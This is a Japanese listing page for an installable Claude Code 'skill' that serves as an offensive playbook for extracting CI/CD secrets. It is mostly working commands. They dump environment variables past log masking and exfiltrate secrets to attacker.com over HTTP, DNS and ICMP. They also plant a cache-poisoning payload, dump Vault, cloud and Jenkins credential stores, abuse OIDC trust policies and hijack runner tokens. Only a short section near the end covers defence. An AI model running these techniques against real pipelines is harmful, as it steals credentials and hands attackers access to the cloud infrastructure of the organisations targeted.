offensive-cicd-secrets について
複数のプラットフォームでCI/CD環境の認証情報を調査・検証する、攻撃的セキュリティガイドです。環境変数、シークレット管理、OIDCフェデレーション、ログ、キャッシュ、各プラットフォームの認証情報ストアを扱います。
主な機能
- 01環境変数内の認証情報の調査
- 02シークレット管理設定の確認
- 03OIDCフェデレーション信頼の評価
- 04ビルドログとキャッシュの分析
- 05プラットフォームの認証情報ストアとトークンの調査
活用シーン
- 01パイプラインの認証情報露出経路の評価
- 02クラウドIDフェデレーション信頼の確認
- 03ログやキャッシュ内の漏えい調査
- 04取得した認証情報の権限範囲の特定
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-cicd-secretsインストール後、Claude Code で/offensive-cicd-secretsを入力して読み込まれたか確認します。
詳細
CI/CD シークレットの攻撃的な抽出
CI/CD 環境のシークレットは、パイプライン侵害の主な標的です。すべてのパイプラインには、デプロイキー、クラウドプロバイダーのトークン、API シークレット、レジストリのパスワード、データベース接続文字列などの認証情報が含まれています。それらを保護する仕組みは、本番環境のシークレットを保護する仕組みよりも一貫して脆弱です。CI/CD 設計の根本的な矛盾を突きます。パイプラインはデプロイに認証情報を必要としますが、パイプラインを実行する環境は一時的かつ共有されており、多くの場合、プルリクエストを作成できる人なら誰でもアクセスできます。
このスキルでは、単純な環境変数のダンプから高度な OIDC フェデレーションの悪用まで、CI/CD プラットフォーム全体にわたるあらゆる抽出経路を体系的に扱います。存在するシークレットを列挙し、適用可能な抽出手法を判断して認証情報を回収し、さらにアクセスを拡大するために横展開します。
MITRE ATT&CK:T1552(保護されていない認証情報)、T1552.001(ファイル内の認証情報)、T1552.004 (秘密鍵)、T1552.007(コンテナー API)
クイックワークフロー
- CI/CD パイプラインでコード実行を獲得します(インジェクションの手法については offensive-cicd-pipeline スキルを参照してください)。
- 実行環境を列挙します。プラットフォーム、ランナーの種類、利用可能なツール、ネットワークアクセスを確認します。
- すべての環境変数をダンプし、シークレットのパターンに一致するものを抽出します。
- 利用可能なトークン(GITHUB_TOKEN、CI_JOB_TOKEN、PAT)を使って、プラットフォーム固有の認証情報ストアを照会します。
- Vault/シークレットマネージャーとの連携を確認し、設定ミスがないかテストします。
- ビルドログ、キャッシュ、アーティファクトに漏えいした認証情報がないか調べます。
- クラウドプロバイダーとの連携が存在する場合は、OIDC フェデレーションの信頼設定をテストします。
- 回収した認証情報を検証し、その適用範囲を特定します。
- 回収したシークレットを使って横展開し、追加のシステム、レジストリ、クラウドリソースにアクセスします。
環境変数の抽出
すべての CI/CD プラットフォームは、シークレットを環境変数として注入します。侵害したパイプラインで最初に行うのは、環境変数を網羅的にダンプすることです。各プラットフォームはログ内のシークレット値をマスキングしようとしますが、マスキングは簡単に回避できます。
直接抽出
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
パターンによる絞り込み
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
持ち出し経路
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism
Vault とシークレットマネージャーの設定ミス
CI/CD パイプラインでは、シークレットマネージャーとの連携が頻繁に利用されます。パイプラインがこれらのシステムに認証し、シークレットを取得する方法の設定ミスを悪用します。
HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
# If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
# List and read KV secrets
vault kv list secret/ 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
# Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
# If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
-d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'
# Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/sys/capabilities-self" \
-d '{"paths": ["secret/*", "aws/*", "database/*", "ssh/*"]}' | jq '.'
AWS Secrets Manager と Parameter Store
# Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
# Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
# Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
while read name; do
echo "=== $name ==="
aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
done
# SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
Azure Key Vault
# Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
2>/dev/null | jq '.access_token'
# List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
# Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
while read name; do
echo "=== $name ==="
az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
done
# Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
GCP Secret Manager
# Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
# Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
# List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'
# Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
done
OIDC フェデレーション攻撃
OIDC フェデレーションを使うと、CI/CD パイプラインは長期間有効な認証情報を保存せずにクラウドプロバイダーへ認証できます。フェデレーション設定の信頼設定ミスを悪用し、許可されていないコンテキストからロールを引き受けます。
GitHub Actions OIDC
# GitHub Actions requests an OIDC token from the GitHub token endpoint
# The token contains claims about the workflow context
steps:
- name: Extract OIDC token and examine claims
run: |
# Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# The claims include:
# sub: repo:org/repo:ref:refs/heads/main
# repository: org/repo
# ref: refs/heads/main
# If the AWS role trust policy is overly permissive (e.g., trusts any ref
# or any repo in the org), you can assume it from a fork or feature branch
攻撃シナリオ――過度に広範な信頼ポリシー:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}
# This trust policy accepts ANY repository in the org
# If you can create a repo in the org or find any repo with Actions write access,
# you can assume this role
# From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
--role-session-name "exploit" \
--web-identity-token "$OIDC_TOKEN"
GitLab CI OIDC
# GitLab CI can also issue OIDC tokens
extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"
id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.com
ビルドログとキャッシュの悪用
不注意なスクリプト、詳細出力モード、デバッグ設定などによって漏えいした認証情報が、ビルドログやキャッシュに含まれていることがよくあります。
ログ分析
# GitHub Actions: Retrieve workflow run logs via API
# Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/OWNER/REPO/actions/runs" | \
jq '.workflow_runs[:10] | .[].id' | while read run_id; do
curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
-o "run_${run_id}.zip"
unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
done
# Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
# Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN" \
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
grep -iE 'password|secret|token|key'
キャッシュポイズニングによる持ち出し
# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
# First run: inject exfiltration script into cached dependencies
steps:
- uses: actions/cache@v4
with:
path: ~/.npm
key: npm-cache-${{ hashFiles('package-lock.json') }}
- run: |
# Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall
cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
#!/bin/bash
env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
PAYLOAD
chmod +x ~/.npm/_preinstall/exfil.sh
# Modify a cached package's install script to trigger it
GitLab CI の共有キャッシュも同様です。cache: policy: push を指定して node_modules/ にペイロードを注入すると、同じキャッシュキーを取得するデプロイジョブがそのペイロードを実行します。
プラットフォーム固有の認証情報ストア
各 CI/CD プラットフォームには、それぞれ異なる抽出手法を持つ独自の認証情報ストレージ機構があります。
GitHub Actions のシークレット
# GitHub Actions secrets are injected as environment variables
# They are masked in logs but accessible programmatically
# List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
# Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
# Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
jq '.environments[].name' | while read env_name; do
echo "=== Environment: $env_name ==="
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
done
# Values require code execution in the pipeline context -- use env dump techniques above
Jenkins の認証情報ストア
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}
credentials.xml をオフラインで復号するには、Jenkins のホームディレクトリにある secrets/master.key と secrets/hudson.util.Secret が必要です。マスターキーの SHA-256 ハッシュを計算し、先頭の 16 バイトを使って hudson シークレットを AES-ECB で復号します。次に、その値を AES-128-CBC キーとして使用し(IV は暗号化されたデータのバイト 1~17)、個々の認証情報エントリを復号します。
GitLab CI 変数
# Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
# With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
jq '.[] | {key, value, protected, masked, environment_scope}'
# Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
jq '.[] | {key, value, protected}'
# Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
# File-type variables are written to disk -- find them
find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
while read f; do echo "=== $f ==="; cat "$f"; done
Docker レジストリ認証情報の窃取
コンテナーイメージをビルドしてプッシュする CI/CD パイプラインには、Docker レジストリの認証情報が保存されています。ランナーのファイルシステム、環境変数、または Docker 認証情報ヘルパーのチェーンからこれらを抽出します。
# Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
# Look for credHelpers, credStore, and direct auths entries
# Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
# For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null | \
jq -r 'keys[]' 2>/dev/null | while read registry; do
echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
done
done
# Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
# AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1
# GCP Artifact Registry
gcloud auth print-access-token
サービス接続とランナートークン
クラウドサービス接続とランナートークンは、CI/CD からインフラストラクチャへ直接ピボットする経路となります。
# Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
# GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
# AWS cross-account role assumption
aws sts get-caller-identity
ランナートークンを使うと、ジョブの傍受や不正なランナーの登録が可能になります。
# GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "*actions-runner*" -name ".runner" 2>/dev/null
# GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
# Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
# Jenkins agent secret files
find / -name "secret.key" -path "*/jenkins/*" 2>/dev/null
検知/防御側の視点
防御側は、次の対策を実施し、これらの兆候を監視する必要があります。
- 環境変数へのアクセスパターン:パイプラインのステップで、想定されるデバッグ以外の状況で
env、printenvの実行や/proc/self/environへのアクセスがあった場合にアラートを出します。 - 外部へのデータ流出:ランナーのネットワークトラフィックを監視し、不明なホストへの POST リクエストや通常とは異なる DNS クエリパターンを検知します。
- シークレットへのアクセス監査:Vault/シークレット管理サービスのアクセスログを有効にします。シークレットの一括列挙や、想定外の IP 範囲からのアクセスに対してアラートを出します。
- OIDC トークンクレームの検証:クラウドプロバイダーの信頼ポリシーで、組織全体の広範な信頼ではなく、特定のクレーム(リポジトリ、ブランチ、環境)を検証するようにします。
- ログのサニタイズ:truffleHog または detect-secrets を使って、ビルドログを保存する前に認証情報のパターンをスキャンします。
- キャッシュの整合性:キャッシュのポイズニングを検知できるよう、キャッシュの署名またはチェックサムを導入します。
- ランナーファイルシステムの衛生管理:エフェメラルランナーを使用します。永続ランナーでは、ジョブ間でファイルシステムを消去します。
- トークンのローテーション:ランナー登録トークンを定期的にローテーションします。想定外のランナー登録を監視します。
- 認証情報のスコープ最小化:すべての CI/CD 認証情報に最小権限を適用します。有効期間の短いトークンを使用します。読み取り用と書き込み用の認証情報を分離します。
主な防御策:有効期間の長い認証情報ではなく、クレーム制約を狭く設定した OIDC を使用すること、すべてのシークレットプラットフォームで監査ログを有効にすること、エフェメラルなコンテナーベースのランナーを使用すること、環境保護ルールでシークレットへのアクセスを制限すること、ビルド環境のネットワークをセグメント化すること。
エンゲージメント早見表
| ベクトル | プラットフォーム | 必要なアクセス権 | 影響 |
|---|---|---|---|
| 環境変数のダンプ | すべて | パイプラインの実行 | 注入されたすべてのシークレット |
| ログマスキングの回避 | すべて | パイプラインの実行 | ログ内のシークレット値 |
| Vault トークンの再利用 | すべて + Vault | パイプラインの実行 | Vault のシークレットへのアクセス |
| AWS メタデータ/認証情報 | AWS ランナー | パイプラインの実行 | AWS アカウントへのアクセス |
| Azure マネージド ID | Azure ランナー | パイプラインの実行 | Azure サブスクリプション |
| GCP メタデータ/SA キー | GCP ランナー | パイプラインの実行 | GCP プロジェクトへのアクセス |
| OIDC フェデレーションの悪用 | GitHub/GitLab | 信頼された組織内のワークフロー | クラウドロールの引き受け |
| ビルドログの分析 | すべて | ログの読み取りアクセス | 漏えいした認証情報 |
| キャッシュのポイズニング | GitHub/GitLab | キャッシュの書き込みアクセス | 認証情報の外部流出 |
| Jenkins 認証情報のダンプ | Jenkins | スクリプトコンソールへのアクセス | 保存されているすべての認証情報 |
| GitLab 変数の抽出 | GitLab | API トークン | プロジェクト/グループのシークレット |
| Docker 設定の窃取 | すべて | ランナーファイルシステム | レジストリの認証情報 |
| ランナートークンの取得 | GitHub/GitLab | ランナーファイルシステム | ジョブの傍受 |
| サービス接続の窃取 | Azure DevOps | パイプラインの実行 | クラウドインフラストラクチャへのアクセス |
| SSM Parameter Store | AWS | パイプラインの実行 | 保存されたパラメーター |
| Key Vault の抽出 | Azure | パイプラインの実行 | Vault のシークレット/キー |
主要な参考資料
- MITRE ATT&CK T1552:https://attack.mitre.org/techniques/T1552/
- OWASP CI/CD の重大なリスクトップ 10(CICD-SEC-6):https://owasp.org/www-project-top-10-ci-cd-security-risks/
- GitHub Actions のシークレットの強化:https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions
- GitLab CI/CD の変数のセキュリティ:https://docs.gitlab.com/ee/ci/variables/#cicd-variable-security
- Jenkins Credentials Plugin:https://plugins.jenkins.io/credentials/
- HashiCorp Vault の CI/CD 統合:https://developer.hashicorp.com/vault/tutorials/app-integration
- GitHub Actions での AWS OIDC:https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html
- truffleHog:https://github.com/trufflesecurity/trufflehog
- detect-secrets:https://github.com/Yelp/detect-secrets